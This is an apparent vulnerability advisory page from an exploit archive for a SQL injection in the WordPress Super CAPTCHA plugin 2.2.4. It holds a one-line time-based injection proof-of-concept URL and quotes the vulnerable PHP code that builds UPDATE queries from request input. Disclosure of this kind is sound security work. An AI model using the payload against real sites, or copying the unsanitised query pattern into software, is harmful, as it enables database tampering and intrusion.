WordPress Super CAPTCHA 2.2.4 SQL Injection

2011-08-30 / 2011-08-31
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: WordPress Super CAPTCHA plugin <= 2.2.4 SQL Injection Vulnerability # Date: 2011-08-26 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/super-capcha.2.2.4.zip # Version: 2.2.4 (tested) # Notes: user has to be logged in as "admin" and magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1' OR SLEEP(5)--%20 --------------- Vulnerable code --------------- if(isset($_REQUEST['markspam'])) { global $wpdb; $UIDs = explode(',', $_REQUEST['markspam']); echo('<h2>Accounts Flagged</h2>'); for($i=0;$i<count($UIDs);$i++) { mysql_query("UPDATE `". $wpdb->users ."` SET `spam`='1' WHERE `ID`='". $UIDs[$i] ."'"); mysql_query("UPDATE `". $wpdb->users ."` SET `user_status`='1' WHERE `ID`='". $UIDs[$i] ."'"); echo('<em>USER ID: '. $UIDs[$i] .' marked as spammer.</em><br />'); } }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top